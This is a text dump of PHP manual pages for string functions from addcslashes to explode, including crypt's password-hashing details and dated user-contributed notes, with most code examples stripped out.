Alias of implode |lcfirst| — Make a string's first character lowercase |levenshtein| — Calculate Levenshtein distance between two strings |localeconv| — Get numeric formatting information |ltrim| — Strip whitespace (or other characters) from the beginning of a string |md5_file| — Calculates the md5 hash of a given file |md5| — Calculate the md5 hash of a string |metaphone| — Calculate the metaphone key of a string |money_format| — Formats a number as a currency string |nl_langinfo| — Query language and locale information |nl2br| — Inserts HTML line breaks before all newlines in a string |number_format| — Format a number with grouped thousands |ord| — Return ASCII value of character |parse_str| — Parses the string into variables |print| — Output a string |printf| — Output a formatted string |quoted_printable_decode| — Convert a quoted-printable string to an 8 bit string |quoted_printable_encode| — Convert a 8 bit string to a quoted-printable string |quotemeta| — Quote meta characters |rtrim| — Strip whitespace (or other characters) from the end of a string |setlocale| — Set locale information |sha1_file| — Calculate the sha1 hash of a file |sha1| — Calculate the sha1 hash of a string |similar_text| — Calculate the similarity between two strings |soundex| — Calculate the soundex key of a string |sprintf| — Return a formatted string |sscanf| — Parses input from a string according to a format |str_getcsv| — Parse a CSV string into an array |str_ireplace| — Case-insensitive version of str_replace. |str_pad| — Pad a string to a certain length with another string |str_repeat| — Repeat a string |str_replace| — Replace all occurrences of the search string with the replacement string |str_rot13| — Perform the rot13 transform on a string |str_shuffle| — Randomly shuffles a string |str_split| — Convert a string to an array |str_word_count| — Return information about words used in a string |strcasecmp| — Binary safe case-insensitive string comparison |strchr| — Alias of strstr |strcmp| — Binary safe string comparison |strcoll| — Locale based string comparison |strcspn| — Find length of initial segment not matching mask |strip_tags| — Strip HTML and PHP tags from a string |stripcslashes| — Un-quote string quoted with addcslashes |stripos| — Find the position of the first occurrence of a case-insensitive substring in a string |stripslashes| — Un-quotes a quoted string |stristr| — Case-insensitive strstr |strlen| — Get string length |strnatcasecmp| — Case insensitive string comparisons using a "natural order" algorithm |strnatcmp| — String comparisons using a "natural order" algorithm |strncasecmp| — Binary safe case-insensitive string comparison of the first n characters |strncmp| — Binary safe string comparison of the first n characters |strpbrk| — Search a string for any of a set of characters |strpos| — Find the position of the first occurrence of a substring in a string |strrchr| — Find the last occurrence of a character in a string |strrev| — Reverse a string |strripos| — Find the position of the last occurrence of a case-insensitive substring in a string |strrpos| — Find the position of the last occurrence of a substring in a string |strspn| — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask. |strstr| — Find the first occurrence of a string |strtok| — Tokenize string |strtolower| — Make a string lowercase |strtoupper| — Make a string uppercase |strtr| — Translate characters or replace substrings |substr_compare| — Binary safe comparison of two strings from an offset, up to length characters |substr_count| — Count the number of substring occurrences |substr_replace| — Replace text within a portion of a string |substr| — Return part of a string |trim| — Strip whitespace (or other characters) from the beginning and end of a string |ucfirst| — Make a string's first character uppercase |ucwords| — Uppercase the first character of each word in a string |vfprintf| — Write a formatted string to a stream |vprintf| — Output a formatted string |vsprintf| — Return a formatted string |wordwrap| — Wraps a string to a given number of characters User Contributed Notes 23 notes -------------------------------------------------------------------------------- *addcslashes* +-------------+~ | addcslashes |~ +-------------+~ (PHP 4, PHP 5, PHP 7) addcslashes — Quote string with slashes in a C style Description~ > string addcslashes ( string $str , string $charlist ) < Returns a string with backslashes before characters that are listed in charlist parameter. Parameters~ str ----- The string to be escaped. charlist ----- A list of characters to be escaped. If charlist contains characters \n, \r etc., they are converted in C-like style, while other non-alphanumeric characters with ASCII codes lower than 32 and higher than 126 converted to octal representation. When you define a sequence of characters in the charlist argument make sure that you know what characters come between the characters that you set as the start and end of the range. > < Also, if the first character in a range has a higher ASCII value than the second character in the range, no range will be constructed. Only the start, end and period characters will be escaped. Use the ord() function to find the ASCII value for a character. > < Be careful if you choose to escape characters 0, a, b, f, n, r, t and v. They will be converted to \0, \a, \b, \f, \n, \r, \t and \v, all of which are predefined escape sequences in C. Many of these sequences are also defined in other C-derived languages, including PHP, meaning that you may not get the desired result if you use the output of addcslashes() to generate code in those languages with these characters defined in charlist. Return Values~ Returns the escaped string. Changelog Version Description 5.2.5 The escape sequences \v and \f were added. Examples~ charlist like "\0..\37", which would escape all characters with ASCII code between 0 and 31. Example #1 addcslashes() example > < See Also~ |stripcslashes|() - Un-quote string quoted with addcslashes |stripslashes|() - Un-quotes a quoted string |addslashes|() - Quote string with slashes |htmlspecialchars|() - Convert special characters to HTML entities |quotemeta|() - Quote meta characters User Contributed Notes 7 notes 8 phpcoder at cyberpimp dot pimpdomain dot com ¶12 years ago~ If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist! Example: > < If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction. -------------------------------------------------------------------------------- *bin2hex* +---------+~ | bin2hex |~ +---------+~ (PHP 4, PHP 5, PHP 7) bin2hex — Convert binary data into hexadecimal representation Description~ > string bin2hex ( string $str ) < Returns an ASCII string containing the hexadecimal representation of str. The conversion is done byte-wise with the high-nibble first. Parameters~ str ----- A string. Return Values~ Returns the hexadecimal representation of the given string. See Also~ |hex2bin|() - Decodes a hexadecimally encoded binary string |pack|() - Pack data into binary string User Contributed Notes 22 notes 34 tehjosh at gamingg dot net ¶9 years ago~ This function is for converting binary data into a hexadecimal string representation. This function is not for converting strings representing binary digits into hexadecimal. If you want that functionality, you can simply do this: > < This would output "f9". Just remember that there is a very big difference between binary data and a string representation of binary. 7 manithu at fahr-zur-hoelle dot org ¶12 years ago~ This function returns the string $str in htmlentity hex format (&#xnumber;). It is useful to prevent spam bots indexing your email adress. > < example: > '.hexentities('foo@bar').''; ?> < will return: email:
foo@bar
the browser will show foo@bar. 12 pedram at redhive dot com ¶16 years ago~ In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process: > < so for example: ">email me would produce the following address: %70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d -pedram 6 chaos79 ¶8 years ago~ Because the way back (hex2bin) doesn't exist on php, i've written another little function without using commands like pack: > < 6 j_lozinskit at yahoo dot co dot uk ¶12 years ago~ A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following: > < this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file: FFFFFFFF -> \xFF\xFF\xFF\xFF -------------------------------------------------------------------------------- *chop* +------+~ | chop |~ +------+~ (PHP 4, PHP 5, PHP 7) chop — Alias of rtrim() Description~ This function is an alias of: rtrim(). Notes Note: chop() is different than the Perl chop() function, which removes the last character in the string. User Contributed Notes 5 notes 23 Kubo2 ¶1 year ago~ Rather use rtrim(). Usage of chop() is not very clear nor consistent for people reading the code after you. -------------------------------------------------------------------------------- *chr* +-----+~ | chr |~ +-----+~ (PHP 4, PHP 5, PHP 7) chr — Return a specific character Description > string chr ( int $ascii ) < Returns a one-character string containing the character specified by ascii. This function complements ord(). Parameters~ ascii ----- The extended ASCII code. Values outside the valid range (0..255) will be bitwise and'ed with 255, which is equivalent to the following algorithm: > while ($ascii < 0) { $ascii += 256; } < $ascii %= 256; Return Values~ Returns the specified character. Examples~ Example #1 chr() example > < Example #2 Overflow behavior > < The above example will output: > aA < See Also~ |sprintf|() - Return a formatted string with a format string of %c |ord|() An » ASCII-table User Contributed Notes 30 notes 15 perrodin at laposte dot net ¶12 years ago~ Note that if the number is higher than 256, it will return the number mod 256. For example : chr(321)=A because A=65(256) 9 Emprivo.com ¶7 years ago~ Replaces special characters with non-special equivalents > 'S', 'š'=>'s', 'Ž'=>'Z', 'ž'=>'z', 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E', 'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O', 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U', 'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss', 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c', 'è'=>'e', 'é'=>'e', 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o', 'ô'=>'o', 'õ'=>'o', 'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'ý'=>'y', 'þ'=>'b', 'ÿ'=>'y' ); $str = strtr( $str, $unwanted_array ); # Bullets, dashes, and trademarks $str = ereg_replace( chr(149), "•", $str ); # bullet • $str = ereg_replace( chr(150), "–", $str ); # en dash $str = ereg_replace( chr(151), "—", $str ); # em dash $str = ereg_replace( chr(153), "™", $str ); # trademark $str = ereg_replace( chr(169), "©", $str ); # copyright mark $str = ereg_replace( chr(174), "®", $str ); # registration mark return $str; } ?> < 9 voromax ¶8 years ago~ Another quick and short function to get unicode char by its code. > < 7 joeldegan AT yahoo.com ¶14 years ago~ Want terminal colors in command line php scripts? This should take care of that. > "[1;31m", 'LIGHT_GREEN' => "[1;32m", 'YELLOW' => "[1;33m", 'LIGHT_BLUE' => "[1;34m", 'MAGENTA' => "[1;35m", 'LIGHT_CYAN' => "[1;36m", 'WHITE' => "[1;37m", 'NORMAL' => "[0m", 'BLACK' => "[0;30m", 'RED' => "[0;31m", 'GREEN' => "[0;32m", 'BROWN' => "[0;33m", 'BLUE' => "[0;34m", 'CYAN' => "[0;36m", 'BOLD' => "[1m", 'UNDERSCORE' => "[4m", 'REVERSE' => "[7m", ); function termcolored($text, $color="NORMAL", $back=1){ global $_colors; $out = $_colors["$color"]; if($out == ""){ $out = "[0m"; } if($back){ return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27); }else{ echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27); }//fi }// end function echo termcolored("test\n", "BLUE"); ?> < -------------------------------------------------------------------------------- *chunk_split* +-------------+~ | chunk_split |~ +-------------+~ (PHP 4, PHP 5, PHP 7) chunk_split — Split a string into smaller chunks Description~ > string chunk_split ( string $body [, int $chunklen = 76 [, string $end = "\r\n" ]] ) < Can be used to split a string into smaller chunks which is useful for e.g. converting base64_encode() output to match RFC 2045 semantics. It inserts end every chunklen characters. Parameters~ body ----- The string to be chunked. chunklen -------- The chunk length. end ----- The line ending sequence. Return Values~ Returns the chunked string. Examples~ Example #1 chunk_split() example > < See Also~ > |str_split|() - Convert a string to an array |explode|() - Split a string by string |split|() - Split string into array by regular expression |wordwrap|() - Wraps a string to a given number of characters » RFC 2045 User Contributed Notes 19 notes 9 qeremy [atta] gmail [dotta] com ¶5 years ago~ An alternative for unicode strings; > Yar? ?m k ilo çay , ya rim kil o s eker Yari m ki lo ç ay, yari m ki lo s eker < 6 chris AT w3style.co DOT uk ¶10 years ago~ I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP. In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string. But in PHP 5.0.4 this does not happen. This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this. -------------------------------------------------------------------------------- *convert_cyr_string* +--------------------+~ | convert_cyr_string |~ +--------------------+~ (PHP 4, PHP 5, PHP 7) convert_cyr_string — Convert from one Cyrillic character set to another Description~ > string convert_cyr_string ( string $str , string $from , string $to ) < Converts from one Cyrillic character set to another. Parameters~ str ----- The string to be converted. from ----- The source Cyrillic character set, as a single character. to ----- The target Cyrillic character set, as a single character. Supported characters are: k - koi8-r w - windows-1251 i - iso8859-5 a - x-cp866 d - x-cp866 m - x-mac-cyrillic Return Values ¶ Returns the converted string. Notes Note: This function is binary-safe. User Contributed Notes 16 notes -------------------------------------------------------------------------------- *convert_uudecode* +------------------+~ | convert_uudecode |~ +------------------+~ (PHP 5, PHP 7) convert_uudecode — Decode a uuencoded string Description~ > string convert_uudecode ( string $data ) < convert_uudecode() decodes a uuencoded string. Parameters~ data ----- The uuencoded data. Return Values~ Returns the decoded data as a string or FALSE on failure. Examples~ Example #1 convert_uudecode() example > < See Also~ |convert_uuencode|() - Uuencode a string -------------------------------------------------------------------------------- *convert_uuencode* +------------------+~ | convert_uuencode |~ +------------------+~ (PHP 5, PHP 7) convert_uuencode — Uuencode a string Description~ > string convert_uuencode ( string $data ) < convert_uuencode() encodes a string using the uuencode algorithm. Uuencode translates all strings (including binary's ones) into printable characters, making them safe for network transmissions. Uuencoded data is about 35% larger than the original. Parameters~ data ----- The data to be encoded. Return Values~ Returns the uuencoded data or FALSE on failure. Examples~ Example #1 convert_uuencode() example > < See Also~ |convert_uudecode|() - Decode a uuencoded string |base64_encode|() - Encodes data with MIME base64 User Contributed Notes 7 notes 9 root at mantoru dot de ¶9 years ago~ @Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings: File: JPG, 631614 bytes == Base64 == execution time: 0.0039639472961426 secs output length: 842152 == UUencode == execution time: 0.004105806350708 secs output length: 870226 6 tmaschler at NOSPAM dot ditf-denkendorf dot de ¶10 years ago~ Note to the tip of Craig at frostycoolslug dot com: If you are using fulltext functionality on columns with uuencoded texts, collations will not work. You might prefer to pass the text escaped to the database engine. 6 zash at zash dot se ¶8 years ago~ note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem. -------------------------------------------------------------------------------- *count_chars* +-------------+~ | count_chars |~ +-------------+~ (PHP 4, PHP 5, PHP 7) count_chars — Return information about characters used in a string Description~ > mixed count_chars ( string $string [, int $mode = 0 ] ) < Counts the number of occurrences of every byte-value (0..255) in string and returns it in various ways. Parameters~ string ------ The examined string. mode ----- See return values. Return Values~ Depending on mode count_chars() returns one of the following: 0 - an array with the byte-value as key and the frequency of every byte as value. 1 - same as 0 but only byte-values with a frequency greater than zero are listed. 2 - same as 0 but only byte-values with a frequency equal to zero are listed. 3 - a string containing all unique characters is returned. 4 - a string containing all not used characters is returned. Examples~ Example #1 count_chars() example > $val) { echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n"; } ?> < The above example will output: There were 4 instance(s) of " " in the string. There were 1 instance(s) of "." in the string. There were 1 instance(s) of "F" in the string. There were 2 instance(s) of "T" in the string. There were 1 instance(s) of "a" in the string. There were 1 instance(s) of "d" in the string. There were 1 instance(s) of "e" in the string. There were 2 instance(s) of "n" in the string. There were 2 instance(s) of "o" in the string. There were 1 instance(s) of "s" in the string. There were 1 instance(s) of "w" in the string. See Also~ |strpos|() - Find the position of the first occurrence of a substring in a string |substr_count|() - Count the number of substring occurrences User Contributed Notes 10 notes 14 marcus33cz ¶5 years ago~ If you have problems using count_chars with a multibyte string, you can change the page encoding. Alternatively, you can also use this mb_count_chars version of the function. Basically it is mode "1" of the original function. > 1 [e] => 7 [t] => 4 ['] => 1 [s] => 5 [ ] => 9 [r] => 3 [y] => 1 [o] => 1 [m] => 1 [G] => 1 [k] => 1 [l] => 1 [:] => 3 [a] => 5 [?] => 1 [e] => 1 [?] => 1 [?] => 1 [?] => 1 [µ] => 1 [?] => 1 [?] => 1 [,] => 2 [R] => 1 [u] => 1 [i] => 1 [a] => 1 [n] => 1 [?] => 2 [?] => 2 [?] => 1 [?] => 1 [C] => 1 [z] => 1 [c] => 1 [h] => 1 [e] => 1 [š] => 1 [c] => 1 [r] => 1 [ž] => 1 [ý] => 1 [á] => 1 [í] => 1 [é] => 1 ) ?> < -------------------------------------------------------------------------------- *crc32* +-------+~ | crc32 |~ +-------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) crc32 — Calculates the crc32 polynomial of a string Description~ > int crc32 ( string $str ) < Generates the cyclic redundancy checksum polynomial of 32-bit lengths of the str. This is usually used to validate the integrity of data being transmitted. Warning Because PHP's integer type is signed many crc32 checksums will result in negative integers on 32bit platforms. On 64bit installations all crc32() results will be positive integers though. So you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned crc32() checksum in decimal format. For a hexadecimal representation of the checksum you can either use the "%x" formatter of sprintf() or printf() or the dechex() conversion functions, both of these also take care of converting the crc32() result to an unsigned integer. Having 64bit installations also return negative integers for higher result values was considered but would break the hexadecimal conversion as negatives would get an extra 0xFFFFFFFF######## offset then. As hexadecimal representation seems to be the most common use case we decided to not break this even if it breaks direct decimal comparisons in about 50% of the cases when moving from 32 to 64bits. In retrospect having the function return an integer maybe wasn't the best idea and returning a hex string representation right away (as e.g. md5() does) might have been a better plan to begin with. For a more portable solution you may also consider the generic hash(). hash("crc32b", $str) will return the same string as str_pad(dechex(crc32($str)), 8, '0', STR_PAD_LEFT). Parameters~ str ----- The data. Return Values~ Returns the crc32 checksum of str as an integer. Examples~ Example #1 Displaying a crc32 checksum This example shows how to print a converted checksum with the printf() function: > < See Also~ |hash|() - Generate a hash value (message digest) |md5|() - Calculate the md5 hash of a string |sha1|() - Calculate the sha1 hash of a string User Contributed Notes 23 notes 11 roberto at spadim dot com dot br ¶10 years ago~ MODBUS RTU, CRC16, input-> modbus rtu string output -> 2bytes string, in correct modbus order > < 7 same ¶13 years ago~ bit by bit crc32 computation > >1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F) ^($reg&1)*$poly_reflected; } //put in enough zeros at the end for($i=0;$i<$zeros*8;$i++) $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected; //xor the register with 0xFFFFFFFF return ~$reg; } $str="123456789"; //whatever $blocksize=4; //whatever for($i=0;$i < 7 Bulk at bulksplace dot com ¶11 years ago~ A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function: > < I've found in testing this method is MUCH faster for larger binary files. -------------------------------------------------------------------------------- *crypt* +-------+~ | crypt |~ +-------+~ (PHP 4, PHP 5, PHP 7) crypt — One-way string hashing Description~ > string crypt ( string $str [, string $salt ] ) < crypt() will return a hashed string using the standard Unix DES-based algorithm or alternative algorithms that may be available on the system. The salt parameter is optional. However, crypt() creates a weak hash without the salt. PHP 5.6 or later raise an E_NOTICE error without it. Make sure to specify a strong enough salt for better security. password_hash() uses a strong hash, generates a strong salt, and applies proper rounds automatically. password_hash() is a simple crypt() wrapper and compatible with existing password hashes. Use of password_hash() is encouraged. Some operating systems support more than one type of hash. In fact, sometimes the standard DES-based algorithm is replaced by an MD5-based algorithm. The hash type is triggered by the salt argument. Prior to 5.3, PHP would determine the available algorithms at install-time based on the system's crypt(). If no salt is provided, PHP will auto-generate either a standard two character (DES) salt, or a twelve character (MD5), depending on the availability of MD5 crypt(). PHP sets a constant named CRYPT_SALT_LENGTH which indicates the longest valid salt allowed by the available hashes. The standard DES-based crypt() returns the salt as the first two characters of the output. It also only uses the first eight characters of str, so longer strings that start with the same eight characters will generate the same result (when the same salt is used). On systems where the crypt() function supports multiple hash types, the following constants are set to 0 or 1 depending on whether the given type is available: CRYPT_STD_DES - Standard DES-based hash with a two character salt from the alphabet "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail. CRYPT_EXT_DES - Extended DES-based hash. The "salt" is a 9-character string consisting of an underscore followed by 4 bytes of iteration count and 4 bytes of salt. These are encoded as printable characters, 6 bits per character, least significant character first. The values 0 to 63 are encoded as "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail. CRYPT_MD5 - MD5 hashing with a twelve character salt starting with $1$ CRYPT_BLOWFISH - Blowfish hashing with a salt as follows: "$2a$", "$2x$" or "$2y$", a two digit cost parameter, "$", and 22 characters from the alphabet "./0-9A-Za-z". Using characters outside of this range in the salt will cause crypt() to return a zero-length string. The two digit cost parameter is the base-2 logarithm of the iteration count for the underlying Blowfish-based hashing algorithmeter and must be in range 04-31, values outside this range will cause crypt() to fail. Versions of PHP before 5.3.7 only support "$2a$" as the salt prefix: PHP 5.3.7 introduced the new prefixes to fix a security weakness in the Blowfish implementation. Please refer to » this document for full details of the security fix, but to summarise, developers targeting only PHP 5.3.7 and later should use "$2y$" in preference to "$2a$". CRYPT_SHA256 - SHA-256 hash with a sixteen character salt prefixed with $5$. If the salt string starts with 'rounds=$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit. CRYPT_SHA512 - SHA-512 hash with a sixteen character salt prefixed with $6$. If the salt string starts with 'rounds=$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit. Note: As of PHP 5.3.0, PHP contains its own implementation and will use that if the system lacks of support for one or more of the algorithms. Parameters~ str ----- The string to be hashed. Caution Using the CRYPT_BLOWFISH algorithm, will result in the str parameter being truncated to a maximum length of 72 characters. salt An optional salt string to base the hashing on. If not provided, the behaviour is defined by the algorithm implementation and can lead to unexpected results. Return Values~ Returns the hashed string or a string that is shorter than 13 characters and is guaranteed to differ from the salt on failure. Warning When validating passwords, a string comparison function that isn't vulnerable to timing attacks should be used to compare the output of crypt() to the previously known hash. PHP 5.6 onwards provides hash_equals() for this purpose. Changelog ¶ Version Description 5.6.5 When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.6 would incorrectly return a DES hash. 5.6.0 Raise E_NOTICE security warning if salt is omitted. 5.5.21 When the failure string "*0" is given as the salt, "*1" will now be returned for consistency with other crypt implementations. Prior to this version, PHP 5.5 (and earlier branches) would incorrectly return a DES hash. 5.3.7 Added $2x$ and $2y$ Blowfish modes to deal with potential high-bit attacks. 5.3.2 Added SHA-256 and SHA-512 crypt based on Ulrich Drepper's » implementation. 5.3.2 Fixed Blowfish behaviour on invalid rounds to return "failure" string ("*0" or "*1"), instead of falling back to DES. 5.3.0 PHP now contains its own implementation for the MD5 crypt, Standard DES, Extended DES and the Blowfish algorithms and will use that if the system lacks of support for one or more of the algorithms. Examples~ Example #1 crypt() examples > < Example #2 Using crypt() with htpasswd > Example #3 Using crypt() with different hash types < The above example will output something similar to: Standard DES: rl.3StKT.4T8M Extended DES: _J9..rasmBYk8r9AiWNc MD5: $1$rasmusle$rISCgZzpwk3UhDidwXvin0 Blowfish: $2a$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi SHA-256: $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6 SHA-512: $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21 Notes~ Note: There is no decrypt function, since crypt() uses a one-way algorithm. See Also~ |hash_equals|() - Timing attack safe string comparison |password_hash|() - Creates a password hash |md5|() - Calculate the md5 hash of a string The Mcrypt extension The Unix man page for your crypt function for more information User Contributed Notes 6 notes 43 bob dot orr at mailinator dot com ¶2 years ago~ The #2 comment on this comments page (as of Feb 2015) is 9 years old and recommends phpass. I have independently security audited this product and, while it continues to be recommended for password security, it is actually insecure and should NOT be used. It hasn't seen any updates in years (still at v0.3) and there are more recent alternatives such as using the newer built-in PHP password_hash() function that are much better. Everyone, please take a few moments to confirm what I'm saying is accurate (i.e. review the phpass code for yourself) and then click the down arrow to sink the phpass comment to the bottom. You'll be increasing security across the Internet by doing so. For those who want details: md5() with microtime() are a fallback position within the source code of phpass. Instead of terminating, it continues to execute code. The author's intentions of trying to work everywhere are admirable but, when it comes to application security, that stance actually backfires. The only correct answer in a security context is to terminate the application rather than fallback to a weak position that can potentially be exploited (usually by forcing that weaker position to happen). 13 Marten Jacobs ¶3 years ago~ As I understand it, blowfish is generally seen a secure hashing algorithm, even for enterprise use (correct me if I'm wrong). Because of this, I created functions to create and check secure password hashes using this algorithm, and using the (also deemed cryptographically secure) openssl_random_pseudo_bytes function to generate the salt. > =PHP 5.3.7) str_pad($cost,2,"0",STR_PAD_LEFT), //add the cost in two digits $salt //add the salt )); //now do the actual hashing return crypt($password,$param); } /* * Check the password against a hash generated by the generate_hash * function. */ function validate_pw($password, $hash){ /* Regenerating the with an available hash as the options parameter should * produce the same hash if the same password is passed. */ return crypt($password, $hash)==$hash; } ?> < 10 steve at tobtu dot com ¶4 years ago~ To generate salt use mcrypt_create_iv() not mt_rand() because no matter how many times you call mt_rand() it will only have at most 32 bits of entropy. Which you will start seeing salt collisions after about 2^16 users. mt_rand() is seeded poorly so it should happen sooner. For bcrypt this will actually generate a 128 bit salt: > < *** Bike shed *** The last character in the 22 character salt is 2 bits. |base64_encode|() will have these four character "AQgw" |bcrypt| will have these four character ".Oeu" You don't need to do a full translate because they "round" to different characters: echo crypt('', '$2y$05$.....................A') . "\n"; echo crypt('', '$2y$05$.....................Q') . "\n"; echo crypt('', '$2y$05$.....................g') . "\n"; echo crypt('', '$2y$05$.....................w') . "\n"; $2y$05$......................J2ihDv8vVf7QZ9BsaRrKyqs2tkn55Yq $2y$05$.....................O/jw2XygQa2.LrIT7CFCBQowLowDP6Y. $2y$05$.....................eDOx4wMcy7WU.kE21W6nJfdMimsBE3V6 $2y$05$.....................uMMcgjnOELIa6oydRivPkiMrBG8.aFp. 6 jette at nerdgirl dot dk ¶3 years ago~ The crypt() function cant handle plus signs correctly. So if for example you are using crypt in a login function, use urlencode on the password first to make sure that the login procedure can handle any character: > < -------------------------------------------------------------------------------- *echo* +------+~ | echo |~ +------+~ (PHP 4, PHP 5, PHP 7) echo — Output one or more strings Description~ > void echo ( string $arg1 [, string $... ] ) < Outputs all parameters. No additional newline is appended. echo is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo, the parameters must not be enclosed within parentheses. echo also has a shortcut syntax, where you can immediately follow the opening tag with an equals sign. Prior to PHP 5.4.0, this short syntax only works with the short_open_tag configuration setting enabled. I have foo. The only difference to print is that echo accepts an argument list. Parameters~ arg1 ----- The parameter to output. ... Return Values~ No value is returned. Examples~ Example #1 echo examples > "foo"); echo "this is {$baz['value']} !"; // this is foo ! // Using single quotes will print the variable name, not the value echo 'foo is $foo'; // foo is $foo // If you are not using any other characters, you can just echo variables echo $foo; // foobar echo $foo,$bar; // foobarbarbaz // Strings can either be passed individually as multiple arguments or // concatenated together and passed as a single argument echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', chr(10); echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n"; echo << < Notes~ Note: Because this is a language construct and not a function, it cannot be called using variable functions. Tip A benefit to passing in multiple arguments over using concatenation in echo regards the precedence of the period operator in PHP. If multiple arguments are passed in, then parentheses will not be required to enforce precedence: > < Could even be worth getting into the habit of enclosing all variables in {} when writing echo strings, to be on the safe side. -------------------------------------------------------------------------------- *explode* +---------+~ | explode |~ +---------+~ (PHP 4, PHP 5, PHP 7) explode — Split a string by string Description~ > array explode ( string $delimiter , string $string [, int $limit = PHP_INT_MAX ] ) < Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter. Parameters~ delimiter --------- The boundary string. string ------ The input string. limit ----- If limit is set and positive, the returned array will contain a maximum of limit elements with the last element containing the rest of string. If the limit parameter is negative, all components except the last -limit are returned. If the limit parameter is zero, then this is treated as 1. Note: Although implode() can, for historical reasons, accept its parameters in either order, explode() cannot. You must ensure that the delimiter argument comes before the string argument. Return Values~ Returns an array of strings created by splitting the string parameter on boundaries formed by the delimiter. If delimiter is an empty string (""), explode() will return FALSE. If delimiter contains a value that is not contained in string and a negative limit is used, then an empty array will be returned, otherwise an array containing string will be returned. Changelog~ Version Description 5.1.0 Support for negative limits was added Examples~ Example #1 explode() examples > < Example #2 explode() return examples > < The above example will output: > array(1) ( [0] => string(5) "hello" ) array(2) ( [0] => string(5) "hello" [1] => string(5) "there" ) array(2) ( [0] => string(0) "" [1] => string(0) "" ) Example #3 limit parameter examples < The above example will output: > Array ( [0] => one [1] => two|three|four ) Array ( [0] => one [1] => two [2] => three ) Notes ¶ Note: This function is binary-safe. See Also ¶ preg_split() - Split string by a regular expression str_split() - Convert a string to an array mb_split() - Split multibyte string using regular expression str_word_count() - Return information about words used in a string strtok() - Tokenize string implode() - Join array elements with a string add a note add a note User Contributed Notes 23 notes up down 219 php at metehanarslan dot com ¶4 years ago Here is my approach to have exploded output with multiple delimiter. here is a sample // [1] => this text // [2] => and this will be exploded // [3] => this also // [4] => this one too // [5] => ) // ) ?> < 71 tiago dot dias at flow-me dot com ¶6 years ago~ Beaware splitting empty strings. > < If you split an empty string, you get back a one-element array with 0 as the key and an empty string for the value. > Array ( [0] => ) < To solve this, just use array_filter() without callback. Quoting manual page "If the callback function is not supplied, array_filter() will remove all the entries of input that are equal to FALSE.". > Array ( ) < 47 Hayley Watson ¶4 years ago~ The comments to use array_filter() without a callback to remove empty strings from explode's results miss the fact that array_filter will remove all elements that, to quote the manual, "are equal to FALSE". This includes, in particular, the string "0", which is NOT an empty string. If you really want to filter out empty strings, use the defining feature of the empty string that it is the only string that has a length of 0. So: > < 31 eye_syah88 at yahoo dot com ¶5 years ago~ a simple one line method to explode & trim whitespaces from the exploded elements > array_map('trim',explode(",",$str)); < example: > $str="one ,two , three , four "; print_r(array_map('trim',explode(",",$str))); < Output: > Array ( [0] 